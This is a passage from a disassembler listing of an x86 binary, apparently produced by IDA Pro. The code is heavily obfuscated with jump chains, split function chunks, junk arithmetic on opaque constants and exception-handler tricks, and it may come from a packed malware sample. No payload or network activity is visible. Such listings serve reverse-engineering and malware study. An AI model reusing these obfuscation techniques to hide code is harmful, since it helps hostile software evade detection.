XREF: sub_426749+2712o dword_426E6C dd 77F50000h ; DATA XREF: sub_426749:loc_423741r ; sub_426749+1ABDw ; --------------------------------------------------------------------------- loc_426E70: ; CODE XREF: hjohnhn9:0042887Dj jmp loc_427CB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E85 loc_426E75: ; CODE XREF: sub_427E85-A0Aj jmp loc_423F15 ; END OF FUNCTION CHUNK FOR sub_427E85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_426E7A: ; CODE XREF: sub_424161-4C5j jmp loc_423CC4 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- not edi jmp sub_424345 ; --------------------------------------------------------------------------- loc_426E86: ; CODE XREF: hjohnhn9:00424CE7j jp loc_42510D ; =============== S U B R O U T I N E ======================================= sub_426E8C proc near ; CODE XREF: sub_426A30+190p ; FUNCTION CHUNK AT 004248D5 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00426DD5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042804B SIZE 00000005 BYTES xchg edx, [esp+0] pop edx jz loc_425B24 jmp loc_426DD5 sub_426E8C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426475 loc_426E9B: ; CODE XREF: sub_426475:loc_427EA1j cmp ecx, 9029DA59h jmp loc_4231C3 ; END OF FUNCTION CHUNK FOR sub_426475 ; --------------------------------------------------------------------------- loc_426EA6: ; CODE XREF: hjohnhn9:00426201j popf js loc_424E1C loc_426EAD: ; CODE XREF: hjohnhn9:loc_428414j push 1134D065h pop eax xor eax, 0C4F530B5h or eax, 337FEE7Dh jmp loc_426A09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_426EC4: ; CODE XREF: sub_424819+2BECj push eax push 0 push edx push 0AA96A096h pop edx xor edx, 0A7A694FEh and edx, 9A1ACD69h test edx, 4000h jmp loc_425F9E ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_426EE5: ; CODE XREF: sub_4260BD:loc_423BF1j mov esi, ebp xchg esi, [esp+0] mov ebp, esp add esp, 0FFFFFFE0h mov [ebp-8], edx push ebx jmp loc_427431 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- locret_426EF8: ; CODE XREF: hjohnhn9:004237D2j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_426EF9: ; CODE XREF: sub_42304F+44BAj jmp loc_424D8C ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_426EFE: ; CODE XREF: sub_425BD2-1CAFj ; sub_427BCE-848j jmp loc_428B34 ; --------------------------------------------------------------------------- loc_426F03: ; CODE XREF: sub_425BD2:loc_424788j mov eax, [ebp-10h] mov al, [ebp+eax-20h] push 0CA48626Ah pop edx add edx, 0D275ECDEh or edx, 2CE8D87Ah rol edx, 1Fh jmp loc_424266 ; --------------------------------------------------------------------------- loc_426F24: ; CODE XREF: sub_425BD2:loc_427881j jge loc_424788 jmp loc_425AE1 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- pop ebx jmp sub_426A78 ; --------------------------------------------------------------------------- loc_426F35: ; DATA XREF: hjohnhn9:00426119o cmp dword ptr [ebp-8], 0 jnz loc_428BAC jmp loc_426344 ; --------------------------------------------------------------------------- pushf test ecx, 327C5875h jmp loc_427160 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_426F50: ; CODE XREF: sub_42325E+82Aj push 0E629B8E1h jmp loc_426DF3 ; END OF FUNCTION CHUNK FOR sub_42325E ; =============== S U B R O U T I N E ======================================= sub_426F5A proc near ; DATA XREF: hjohnhn9:00423C7Bo ; FUNCTION CHUNK AT 0042365D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423E8D SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0042513C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425C33 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00425D65 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426A0E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426BA8 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00427339 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00427B8D SIZE 00000005 BYTES mov eax, [ebp-20h] mov byte ptr [eax], 0 inc dword ptr [ebp-1Ch] jmp loc_425D65 sub_426F5A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_426F68: ; CODE XREF: hjohnhn9:004266D5j inc dword ptr [ebp-1Ch] jmp loc_426B9C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4290CF loc_426F70: ; CODE XREF: sub_4244F5-14Ej ; sub_4290CF+4j inc dword ptr [ebp-18h] push offset sub_425F3F jmp loc_4246A3 ; END OF FUNCTION CHUNK FOR sub_4290CF ; --------------------------------------------------------------------------- xchg ebx, [ebp+0] jmp sub_42387A ; =============== S U B R O U T I N E ======================================= sub_426F85 proc near ; CODE XREF: sub_427C53:loc_427AA2j ; FUNCTION CHUNK AT 004260CD SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042726D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004277CE SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00428150 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00428D00 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00428EEB SIZE 00000007 BYTES add esp, 0FFFFFFE4h mov [ebp-8], edx mov [ebp-4], eax xor eax, eax mov [ebp-0Ch], eax jmp loc_4260CD sub_426F85 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426CC8 loc_426F98: ; CODE XREF: sub_426CC8:loc_426DCFj ; hjohnhn9:00426DDEj sub ecx, 0EC213638h and ecx, 0D1BF21DAh add ecx, 40256A96h mov [ecx], eax pop ecx loc_426FAD: ; CODE XREF: hjohnhn9:004236D9j lea eax, [ebp-14h] xor edx, edx push ecx jmp loc_42633F ; END OF FUNCTION CHUNK FOR sub_426CC8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_426FB8: ; CODE XREF: sub_42363F:loc_4265C3j ror eax, 12h mov ds:dword_428B18, eax locret_426FC1: ; CODE XREF: sub_42362A:loc_42911Dj retn ; END OF FUNCTION CHUNK FOR sub_42363F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4235C9 loc_426FC2: ; CODE XREF: sub_4235C9+Aj jmp loc_42326F ; END OF FUNCTION CHUNK FOR sub_4235C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_426FC7: ; CODE XREF: sub_42363F+2649j ; sub_426F5A-3ABj rol eax, 12h jmp loc_4289FD ; END OF FUNCTION CHUNK FOR sub_42363F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42345B loc_426FCF: ; CODE XREF: sub_42345B+6j jno loc_4243BD mov ebp, esp push ecx push 231CBC7Bh jmp loc_428892 ; END OF FUNCTION CHUNK FOR sub_42345B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_426FE2: ; CODE XREF: sub_42325E+496Bj cmp edi, ecx loc_426FE4: ; CODE XREF: sub_428E98+1j jmp loc_428B46 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_426FE9: ; CODE XREF: sub_427564+Dj jnz sub_427DE6 jmp loc_4245D2 ; END OF FUNCTION CHUNK FOR sub_427564 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A30 loc_426FF4: ; CODE XREF: sub_426A30+760j jz loc_4247C1 call sub_426859 jnz loc_427181 mov ecx, [ebx+edx-4] or ecx, ecx jz loc_4247C1 mov ebx, [ebx+ecx] jmp loc_4247BC ; END OF FUNCTION CHUNK FOR sub_426A30 ; --------------------------------------------------------------------------- shl ebx, 7 jmp loc_424922 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42873F loc_427021: ; CODE XREF: sub_42873F:loc_4252D4j jnz loc_428748 retn ; END OF FUNCTION CHUNK FOR sub_42873F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_427028: ; CODE XREF: sub_425BD2+2F68j jmp loc_425F81 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424361 loc_42702D: ; CODE XREF: sub_424361+11j jmp loc_426B21 ; END OF FUNCTION CHUNK FOR sub_424361 ; =============== S U B R O U T I N E ======================================= sub_427032 proc near ; CODE XREF: sub_426A30+Ep ; FUNCTION CHUNK AT 00423806 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424480 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00426847 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00427E3F SIZE 00000015 BYTES mov eax, large fs:0 loc_427039: ; CODE XREF: sub_427032-2BADj ; sub_424D25+Cj jnz loc_42448C cmp dword ptr [eax], 0FFFFFFFFh jmp loc_423806 sub_427032 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_77. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428CAF loc_427048: ; CODE XREF: sub_428CAF+15j pop eax add eax, 1676D70Ah rol eax, 11h xor eax, 0D004D392h add eax, ebp push esi jmp loc_4242DE ; END OF FUNCTION CHUNK FOR sub_428CAF ; --------------------------------------------------------------------------- loc_427060: ; CODE XREF: hjohnhn9:0042511Cj test edx, esi jmp loc_427749 ; --------------------------------------------------------------------------- pop ecx jmp sub_4235D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_42706D: ; CODE XREF: sub_4236A7:loc_424BAEj ; hjohnhn9:00428F38j or esi, 1018A317h sub esi, 25967CE4h or esi, 4B12ED79h ; END OF FUNCTION CHUNK FOR sub_4236A7 ; START OF FUNCTION CHUNK FOR sub_428E98 loc_42707F: ; CODE XREF: sub_428E98-507Bj xor esi, 0FBF2FFFFh loc_427085: ; CODE XREF: hjohnhn9:loc_427EF5j add eax, esi jmp loc_428A97 ; END OF FUNCTION CHUNK FOR sub_428E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_42708C: ; CODE XREF: sub_424631:loc_424F3Ej mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F7h jnz loc_423F3D jmp loc_428667 ; --------------------------------------------------------------------------- loc_4270A1: ; CODE XREF: sub_424631:loc_424F28j mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h jz loc_4249A3 jmp loc_428567 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- loc_4270B6: ; CODE XREF: hjohnhn9:00425B60j rol eax, 9 push eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425029 loc_4270BB: ; CODE XREF: sub_4289A4+9j jmp loc_4267FC ; END OF FUNCTION CHUNK FOR sub_425029 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427363 loc_4270C0: ; CODE XREF: sub_427363+7j jmp loc_425DB7 ; END OF FUNCTION CHUNK FOR sub_427363 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265A0 loc_4270C5: ; CODE XREF: sub_4265A0+Dj jmp sub_42855B ; END OF FUNCTION CHUNK FOR sub_4265A0 ; --------------------------------------------------------------------------- loc_4270CA: ; CODE XREF: hjohnhn9:00424B75j jmp loc_426388 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4270CF proc near ; CODE XREF: sub_425CB3-1BDAp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042764D SIZE 0000000A BYTES push ebp mov ebp, esp push ebx mov ebx, edx xchg ebx, [esp+4+var_4] jmp loc_42764D sub_4270CF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42387A loc_4270DD: ; CODE XREF: sub_42387A:loc_4271B3j jns loc_426685 loc_4270E3: ; CODE XREF: sub_423BC3+50DDj jmp loc_427BF3 ; END OF FUNCTION CHUNK FOR sub_42387A ; --------------------------------------------------------------------------- adc esi, 0B23EB003h ; START OF FUNCTION CHUNK FOR sub_423444 loc_4270EE: ; CODE XREF: sub_423444+5j jge sub_423FB9 jnp loc_4260B8 sbb ebp, eax jmp loc_426685 ; END OF FUNCTION CHUNK FOR sub_423444 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_37. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_427102: ; CODE XREF: sub_42304F:loc_4237EAj cmp eax, 0FFFFFFFFh jz loc_427112 mov eax, [eax] jmp loc_426C4F ; --------------------------------------------------------------------------- loc_427112: ; CODE XREF: sub_42304F+40B6j ; sub_42304F+436Bj ... xor ebx, ebx jmp loc_426833 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42303E loc_427119: ; CODE XREF: sub_42303E:loc_424896j add [ebp-8], eax mov eax, [ebp-8] shr eax, 6 xor [ebp-8], eax inc dword ptr [ebp-0Ch] jmp loc_4249B5 ; END OF FUNCTION CHUNK FOR sub_42303E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425029 loc_42712D: ; CODE XREF: sub_425029+7j ; sub_427F90+FEDj inc dword ptr [ebp-8] call sub_42486B loc_427135: ; CODE XREF: sub_427F90+50Aj jmp loc_425040 ; END OF FUNCTION CHUNK FOR sub_425029 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_42713A: ; CODE XREF: sub_423BC3+AA6j jmp loc_423388 ; END OF FUNCTION CHUNK FOR sub_423BC3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_109. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_427140: ; CODE XREF: sub_42325E:loc_4276C0j pop ecx rol ecx, 17h sub ecx, ds:4000F4h add ecx, 9FCF4E83h add ecx, ebp add ecx, 0EBC72302h mov [ecx], eax pop ecx jmp loc_424261 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- loc_427160: ; CODE XREF: hjohnhn9:00426F4Bj jp loc_423E8F ; =============== S U B R O U T I N E ======================================= sub_427166 proc near ; CODE XREF: sub_424631:loc_423B9Cp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424608 SIZE 00000024 BYTES xchg edx, [esp+0] pop edx rol eax, 7 push eax push esi push 1190FCD1h jmp loc_424608 sub_427166 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A30 loc_427179: ; CODE XREF: sub_426A30+22j or edx, edx jz loc_4247C1 loc_427181: ; CODE XREF: sub_426A30+5CFj ; sub_426A30+1E82j jnz loc_42328D add edx, 14h mov ecx, [ebx+edx-8] or ecx, ecx jmp loc_426FF4 ; END OF FUNCTION CHUNK FOR sub_426A30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_427195: ; CODE XREF: sub_427C9B+5Cj adc edi, ecx sub ebp, esi ror eax, 0Fh xor ebp, ebx loc_42719E: ; CODE XREF: sub_427C9B:loc_427CE6j add eax, 6C2F4752h call sub_425BF2 loc_4271A9: ; CODE XREF: hjohnhn9:00424A8Dj jmp loc_429050 ; --------------------------------------------------------------------------- loc_4271AE: ; CODE XREF: hjohnhn9:004242C1j ; sub_427C9B:loc_42858Dj jmp loc_428EBF ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42387A loc_4271B3: ; CODE XREF: sub_42387A+1Aj jmp loc_4270DD ; END OF FUNCTION CHUNK FOR sub_42387A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A75 loc_4271B8: ; CODE XREF: sub_423A75:loc_426C69j pop ebx or ebx, 0C6FF0DC4h add ebx, 804F2E92h add edx, ebx pop ebx mov edx, [edx] jmp sub_4285DF ; END OF FUNCTION CHUNK FOR sub_423A75 ; --------------------------------------------------------------------------- xor ecx, 1CEA3F9Eh jmp sub_427463 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CCD loc_4271DA: ; CODE XREF: sub_423CCD:loc_427B92j mov eax, [ebp+var_4] mov [ebp+var_8], eax mov eax, [ebp+arg_0] test byte ptr [eax-8], 80h jz loc_427272 call sub_42698F ; END OF FUNCTION CHUNK FOR sub_423CCD ; START OF FUNCTION CHUNK FOR sub_427486 loc_4271F2: ; CODE XREF: sub_427486:loc_425D38j jnz loc_424E94 jmp loc_428DEE ; END OF FUNCTION CHUNK FOR sub_427486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_4271FD: ; CODE XREF: sub_424161+446j jno loc_42405C jmp loc_426054 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- loc_427208: ; CODE XREF: hjohnhn9:00428B7Dj jnz loc_426335 jmp loc_4282C9 ; --------------------------------------------------------------------------- mov eax, [ecx] not ebp jmp sub_428E76 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_85. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_42721D: ; CODE XREF: sub_427486+B9Bj jmp loc_424D52 ; END OF FUNCTION CHUNK FOR sub_427486 ; --------------------------------------------------------------------------- or eax, ebp jmp sub_4263C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423753 loc_427229: ; CODE XREF: sub_423753+25A8j add edx, 3B6EABB3h jmp loc_428BAA ; END OF FUNCTION CHUNK FOR sub_423753 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_427234: ; CODE XREF: sub_4287BF-12Fj jle loc_4268DB mov eax, [ebp-4] xor edx, edx push edx loc_427240: ; CODE XREF: hjohnhn9:loc_427749j push eax jmp loc_42510D ; --------------------------------------------------------------------------- loc_427246: ; CODE XREF: sub_4287BF:loc_42867Bj mov eax, [ebp-4] call sub_426924 jmp loc_423022 ; END OF FUNCTION CHUNK FOR sub_4287BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_427253: ; CODE XREF: sub_425BD2:loc_4265B8j dec dword ptr [ebp-10h] push offset loc_4246C9 jmp loc_4266A1 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BF2 loc_427260: ; CODE XREF: sub_425BF2+Ej jz loc_4290BA loc_427266: ; CODE XREF: hjohnhn9:loc_4280AEj jmp loc_425B48 ; END OF FUNCTION CHUNK FOR sub_425BF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42698F loc_42726B: ; CODE XREF: sub_42698F:loc_426E55j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42698F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F85 loc_42726D: ; CODE XREF: sub_426F85+856j jmp loc_428150 ; END OF FUNCTION CHUNK FOR sub_426F85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CCD loc_427272: ; CODE XREF: sub_423CCD+351Aj mov eax, [ebp+arg_0] cmp dword ptr [eax-0Ch], 4 jnz loc_427288 add [ebp+var_8], 4 jmp loc_426996 ; --------------------------------------------------------------------------- loc_427288: ; CODE XREF: sub_423CCD+35ACj push offset loc_423B63 jmp nullsub_35 ; END OF FUNCTION CHUNK FOR sub_423CCD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_427292: ; CODE XREF: sub_427486+1744j jnz loc_426123 ; END OF FUNCTION CHUNK FOR sub_427486 ; START OF FUNCTION CHUNK FOR sub_424EC9 loc_427298: ; CODE XREF: sub_424EC9+2F61j jmp loc_428A28 ; END OF FUNCTION CHUNK FOR sub_424EC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_42729D: ; CODE XREF: sub_424631-742j jmp loc_4276C5 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- xor edi, 0E9F2FF93h and ecx, 0B476BC97h jmp loc_426123 ; --------------------------------------------------------------------------- loc_4272B3: ; DATA XREF: sub_4245BA+Eo mov eax, [ebp-4] movzx eax, word ptr [eax+14h] push edx push 0FF219A5h pop edx sub edx, 1CABD1EFh or edx, 0BDCE1D41h jmp loc_428871 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_34. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423E64 loc_4272D3: ; CODE XREF: sub_423E64-16Ej mov edx, esi jmp loc_4239A2 ; END OF FUNCTION CHUNK FOR sub_423E64 ; --------------------------------------------------------------------------- mov edi, 0A2291AFAh jmp sub_428D49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_4272E4: ; CODE XREF: sub_424819+3725j push esi mov esi, ebp xchg esi, [esp+0] mov ebp, edx xchg ebp, [esp+0] push esi mov esi, ebx jmp loc_4282C4 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- db 0BAh dd 17B3C1CFh, 425E5A68h, 0E7D6E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_427306: ; CODE XREF: sub_425BD2:loc_425D5Bj sub ecx, 0CBA9F7CFh rol ecx, 15h add ecx, 48A7B40Fh add eax, ecx pop ecx mov eax, [eax] mov esp, ebp xchg eax, [esp+4+var_4] jmp loc_424AB4 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; =============== S U B R O U T I N E ======================================= sub_427324 proc near ; CODE XREF: hjohnhn9:00424CA0p ; hjohnhn9:004280BAj ; FUNCTION CHUNK AT 004279D7 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004284AC SIZE 0000001F BYTES xchg eax, [esp+0] pop eax push 75E083Dh pop edx xor edx, 1BF516ECh jmp loc_4284AC sub_427324 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F5A loc_427339: ; CODE XREF: sub_426F5A:loc_427B8Dj push 0C335D6F1h or ebp, edx jmp loc_423E8D ; END OF FUNCTION CHUNK FOR sub_426F5A ; =============== S U B R O U T I N E ======================================= sub_427345 proc near ; CODE XREF: sub_4249E1-B25p ; hjohnhn9:00424140j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423571 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00424FE8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042742C SIZE 00000005 BYTES xchg eax, [esp+0] pop eax push 0C734959h xchg ecx, [esp+0] mov esi, ecx jmp loc_42742C sub_427345 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427363 loc_427358: ; CODE XREF: hjohnhn9:loc_424728j ; sub_427363-159Ej pop large dword ptr fs:0 add esp, 4 retn ; END OF FUNCTION CHUNK FOR sub_427363 ; =============== S U B R O U T I N E ======================================= sub_427363 proc near ; CODE XREF: sub_423369+4p ; FUNCTION CHUNK AT 00425DB7 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004270C0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427358 SIZE 0000000B BYTES push large dword ptr fs:0 jmp loc_4270C0 sub_427363 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_42736F: ; CODE XREF: sub_427486+196Ej sbb edx, 848BAD9h jmp loc_4288D4 ; END OF FUNCTION CHUNK FOR sub_427486 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_78. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425029 loc_42737B: ; CODE XREF: sub_425029+1ABAj jmp loc_423AE9 ; END OF FUNCTION CHUNK FOR sub_425029 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427BCE loc_427380: ; CODE XREF: sub_427BCE+13j jnz loc_42377B jmp loc_426EFE ; END OF FUNCTION CHUNK FOR sub_427BCE ; --------------------------------------------------------------------------- sbb eax, edx jmp sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4264CF loc_427392: ; CODE XREF: sub_4264CF:loc_4264DEj call sub_426B29 mov edx, [ebp-8] mov eax, [ebp-4] call nullsub_3 jmp loc_426809 ; END OF FUNCTION CHUNK FOR sub_4264CF ; --------------------------------------------------------------------------- cmp ebp, 161BC831h jmp loc_4290C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_4273B2: ; CODE XREF: sub_42304F+6j ; sub_42304F+11D2j ... jno loc_4273D0 or eax, eax jz loc_427112 cmp eax, 0FFFFFFFFh jz loc_427112 mov eax, [eax] jmp loc_426AE9 ; --------------------------------------------------------------------------- loc_4273D0: ; CODE XREF: sub_42304F:loc_4273B2j or eax, eax jz loc_427112 jmp loc_4237EA ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- loc_4273DD: ; CODE XREF: hjohnhn9:00427F54j xor ebx, 9950C18Ch or edi, 9DF68B53h jmp loc_428B98 ; --------------------------------------------------------------------------- loc_4273EE: ; CODE XREF: hjohnhn9:004248A1j adc edx, 0F634EFE5h pop ebx ; START OF FUNCTION CHUNK FOR sub_424819 loc_4273F5: ; CODE XREF: sub_424819:loc_42488Bj add ebx, 0FD77EFFEh xchg ebx, [esp-4+arg_0] push eax lea eax, loc_428A04 jmp loc_426EC4 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278EC loc_42740A: ; CODE XREF: sub_4278EC-34ECj mov edx, ds:dword_423944 imul byte ptr [edx] push offset loc_427C31 jmp loc_42434F ; END OF FUNCTION CHUNK FOR sub_4278EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424B97 loc_42741C: ; CODE XREF: sub_424B97+3727j pushf sub ebx, edx popf loc_427420: ; CODE XREF: sub_424B97+371Bj add edx, 2CDA0D3Dh mov edx, [edx] xchg edx, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_424B97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427345 loc_42742C: ; CODE XREF: sub_427345+Ej jmp loc_423571 ; END OF FUNCTION CHUNK FOR sub_427345 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_427431: ; CODE XREF: sub_4260BD+E36j jmp loc_423A50 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_427436: ; CODE XREF: sub_426A78-B44j jmp loc_423217 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42355C loc_42743B: ; CODE XREF: sub_42355C+10j jmp loc_42607D ; END OF FUNCTION CHUNK FOR sub_42355C ; =============== S U B R O U T I N E ======================================= sub_427440 proc near ; DATA XREF: sub_423E64:loc_4239A6o push dword ptr [ebp+10h] push edx call sub_423BC3 sub_427440 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_423CDB loc_427449: ; CODE XREF: sub_423CDB+2E3Ej jmp loc_42407B ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240E6 loc_42744E: ; CODE XREF: sub_4240E6:loc_428AFFj push offset loc_4280BF jmp nullsub_118 ; END OF FUNCTION CHUNK FOR sub_4240E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D02 loc_427458: ; CODE XREF: sub_426D02:loc_428F06j jz loc_425AFC jmp loc_425B43 ; END OF FUNCTION CHUNK FOR sub_426D02 ; =============== S U B R O U T I N E ======================================= sub_427463 proc near ; CODE XREF: hjohnhn9:004271D5j ; sub_4242A0:loc_427877p xchg ecx, [esp+0] pop ecx push eax call sub_423425 mov [ebp-4], eax jmp loc_423415 sub_427463 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E85 loc_427475: ; CODE XREF: sub_427E85+4j lea eax, [ebp-125h] jmp loc_426E75 ; END OF FUNCTION CHUNK FOR sub_427E85 ; --------------------------------------------------------------------------- loc_427480: ; CODE XREF: hjohnhn9:00423C3Fj jg loc_423640 ; =============== S U B R O U T I N E ======================================= sub_427486 proc near ; CODE XREF: sub_4264CF+Ap var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423246 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424D52 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00424E94 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00425D38 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426123 SIZE 00000011 BYTES ; FUNCTION 